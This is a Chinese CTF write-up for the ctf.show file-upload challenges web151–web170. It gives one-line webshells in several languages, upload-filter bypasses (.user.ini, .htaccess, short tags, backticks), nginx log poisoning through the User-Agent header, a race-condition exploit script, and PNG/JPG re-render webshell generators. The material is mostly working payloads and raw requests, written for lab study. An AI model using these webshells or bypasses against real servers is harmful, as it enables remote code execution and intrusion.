web151

一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PHP
<?php @eval($_POST['shell']); ?>

ASP
<%eval request("cmd")%>

JSP
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

Python (常见于Django, Flask等)

import os
os.system(request.form['cmd'])

C#(常见于ASP.NET)
<% System.Diagnostics.Process.Start(Request["cmd"]); %>

前端校验,有多种绕过方式

方法一:
将文件上传的后缀名限制修改为php
alt text

方法二:
bp抓包绕过

web152

MIME头绕过

修改Content-Type即可

web153

.user.ini绕过

1
2
3
4
5
6
7
8
9
由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:
文件上传限制:
如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
脚本执行时间:
恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
内存限制:
增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
PHP 文件包含漏洞
auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行

首先编写一个”.user.ini”文件

1
auto_prepend_file=shell.png

先将”.user.ini”上传至目标靶机
上传的时候发现”.user.ini”不符合上传规范,依旧是给他增加一个合法的后缀名,再利用burp修改即可
之后再将包含一句话木马的shell.png上传至目标靶机

值得注意的的是,并不能完全肯定upload目录下的主页文件是哪个,所以可以直接访问upload目录

alt text

明显可以看到,在shell.png写的内容也出现了
接下来使用蚁剑连接即可

web154

短标签绕过

php部分标签写法

1
2
3
4
<?php @eval($_POST['cmd']); ?>            //正常写法
<?=@eval($_POST['cmd']); ?> //短标签,适合过滤php
<% @eval($_POST['cmd']); %> //asp风格
<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?

本题过滤了php这个关键字,利用短标签绕过即可

web155

同web154

web156

php关键字和[]绕过

php中,[]可以使用{}进行替换

1
<?=@eval($_POST{'cmd'}); ?>

web157

php关键字、[]、{}绕过

Linux中通配符作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
1. 星号(*)

星号用于匹配任意数量的字符(包括零个字符)。

示例:

ls *.txt:列出当前目录下所有扩展名为.txt的文件。
cp /home/user/*.jpg /home/user/photos/:将/home/user/目录下所有扩展名为.jpg的文件复制到/home/user/photos/目录。
rm report*:删除当前目录下所有以report开头的文件。
2. 问号(?)

问号用于匹配单个字符。

示例:

ls file?.txt:列出当前目录下所有文件名格式为fileX.txt的文件,其中X可以是任意单个字符。
mv data??.csv backup/:将当前目录下所有文件名格式为dataXX.csv的文件移动到backup/目录,其中XX可以是任意两个字符。
3. 方括号([])

方括号用于匹配方括号内的任意一个字符。

示例:

ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。
rm file[1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X可以是1到9之间的任意一个数字。
4. 大括号({})

大括号用于匹配大括号内的任意一个模式。

示例:

cp {file1,file2,file3}.txt backup/:将当前目录下文件名为file1.txt、file2.txt和file3.txt的文件复制到backup/目录。
mv {*.jpg,*.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。
5. 感叹号(!)

感叹号用于在方括号内表示排除某个字符。

示例:

ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。
rm file[!1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X不是1到9之间的任意一个数字。

除上一题过滤的之外,{}也被过滤了

这里可以考虑使用system函数直接执行命令获取flag

php被过滤,可以利用通配符来进行模糊匹配

1
<?=system("cat ../flag.???")?>

web158

同web157

web159

php关键字、[]、{}、;、()绕过

PHP命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1. exec()

exec()执行一个外部程序,并返回最后一行输出的结果。

2. system()

system()执行一个外部程序,并输出结果。返回命令的最后一行输出。

3. shell_exec()

shell_exec()执行一个命令,并返回完整的输出。

4. passthru()

passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。

5. popen()

popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。

6. proc_open()

proc_open()可以启动一个进程,并更多地控制其输入和输出。

7. ``

PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
1
<?=`cat ../flag.???`?>

web160

日志绕过

这里反撇号也被过滤了,考虑用日志包含进行绕过

依旧是先上传.user.ini文件

shell.png的内容如下

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。
其中/var/log/nginx/access.log到底为nginx的日志文件。
因为log被过滤,所以使用 . 进行拼接字符串,从而实现绕过

由于日志文件会记录UA头,故可以将恶意代码放入UA头中来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /upload.php HTTP/1.1
Host: ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show
User-Agent: <?=`cat ../flag.php`?>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary68e3863c480935f2a138f2a8451d0ab
Content-Length: 236
Origin: https://ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show
Referer: https://ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

------geckoformboundary68e3863c480935f2a138f2a8451d0ab
Content-Disposition: form-data; name="file"; filename="shell.png"
Content-Type: image/png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
------geckoformboundary68e3863c480935f2a138f2a8451d0ab--

最后依旧是访问/upload/,成功获取flag

web161

GIF89a绕过

与web160相同,只不过在文件头添加GIF89a即可成功上传

web162

条件竞争

首先上传.user.ini

1
2
GIF89a
auto_append_file=/tmp/sess_zho

zho可以随缘改,和后面脚本中的sess中的内容相一致即可

接下来使用脚本
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import threading
import re

# 创建一个会话对象,保持会话的状态
session = requests.session()

# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'

# 目标URL
url1 = "http://2691636c-bd30-48fc-aae6-36ed791add6a.challenge.ctf.show/"
url2 = "http://2691636c-bd30-48fc-aae6-36ed791add6a.challenge.ctf.show/upload"

# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}

# 要上传的文件数据
file = {
'file': '111' # 文件名可以随意设置
}

# 设置会话cookie
cookies = {
'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}

# 定义上传文件的函数,持续发送POST请求
def upload_file():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)

# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
while True:
response = session.get(url2) # 访问目标URL,检查是否能获取到flag
if 'flag' in response.text: # 检查返回内容中是否包含flag
# 正则匹配flag,格式为ctfshow{}
flag = re.search(r'ctfshow{.+}', response.text)
if flag:
print(flag.group()) # 如果找到flag,打印它

# 创建两个线程,一个上传文件,一个检查flag
threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]

# 启动所有线程
for t in threads:
t.start()

web163

同web162

web164

png二次渲染操纵 IDAT 块

二次渲染漏洞原理

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

png二次渲染漏洞原理

(1)PNG文件格式结构

PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来组织的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:

  • IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
  • IDAT(Image Data):图像数据块,包含实际的图像像素信息。
  • IEND(Image End):图像结束块,表示图像文件的结束。
  • 其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。

在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不损坏图像文件,几乎不可能

(2)二次渲染漏洞的产生原因

  • 不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。
  • 损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。
  • 利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。

(3)PNG 二次渲染漏洞的典型利用方式

  1. 篡改块内容或顺序:
    攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如:
  • 在一个浏览器中,图像可能被正常显示;
  • 而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。
    这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。
  1. 损坏的图像数据:
    通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。

  2. 颜色管理和透明度问题:
    PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如:

  • 在某些浏览器中,图像可能会显示为透明;
  • 在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。
  1. 文本注释块(tEXt)滥用:
    某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。

题目实践

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

这个脚本便是通过操纵 IDAT 块(图像数据块)将恶意代码插入了其中

1
<?=$_GET[0]($_POST[1]);?>

运行这个脚本后,将生成的图片木马上传
当我们按照木马执行命令时,发现并没有回显文件目录
alt text

这个时候我们需要给请求头增加Content-Type: application/x-www-form-urlencoded这个字段
其作用如下

Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。

添加这个请求头成功获取flag
alt text

web165

jpg二次渲染

先将一个正常的jpg图片上传到服务器中,让他先进行一次渲染
上传成功后,将图片下载到本地,注意另存为图片时,去upload下直接查看这个图片进行下载,不然下载下来不是jpg格式

将脚本和下载下来的图片放到同一目录执行如下命令

1
php jpg_payload.php 1.jpg

出现success就代表执行成功了,同级目录下一般会出现payload_原图片名.jpg文件
将生成的图片马再次上传到服务器,可以再次下载这张图片,查看恶意代码是否成功注入

jpg_payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

//$miniPayload = "<?=phpinfo();?>";
$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

alt text

web166

随便搞一个zip的压缩包,将恶意代码注入到压缩包里即可

alt text

alt text

web167

.htaccess文件利用

编写 .htaccess文件

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

或者

1
2
3
<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>

接下来在shell.jpg文件中插入恶意代码,然后上传jpg木马文件,蚁剑连接即可,注意连接地址为http,使用https可能会失败

web168

基础免杀 关键词绕过

测试后发现``反引号并没有过滤,可以利用反引号进行命令执行

用 $_REQUEST 绕过也可以

1
<?php $_REQUEST[1]($_REQUEST[2]);?>

web169

.user.ini的条件利用

nginx 服务器, < > 都被过滤了, 但是 php 后缀能上传
Content-Type 好像必须是 image/png 才行
upload 目录下没有 index.php, 但因为我们可以自行上传 php
所以配合 .user.ini 包含 nginx 日志,在UA中写恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /upload.php HTTP/1.1
Host: a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundaryf7669211958b4423123470db5e18f9ae
Content-Length: 230
Origin: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show
Referer: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

------geckoformboundaryf7669211958b4423123470db5e18f9ae
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

111
------geckoformboundaryf7669211958b4423123470db5e18f9ae--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /upload.php HTTP/1.1
Host: a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show
User-Agent: <?=`tac ../flagaa.php`?>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundaryd0047960e771aa384bfe90a1bb6b5294
Content-Length: 264
Origin: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show
Referer: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

------geckoformboundaryd0047960e771aa384bfe90a1bb6b5294
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file="/var/log/nginx/access.log"
------geckoformboundaryd0047960e771aa384bfe90a1bb6b5294--

访问/upload/shell.php即可

web170

同web169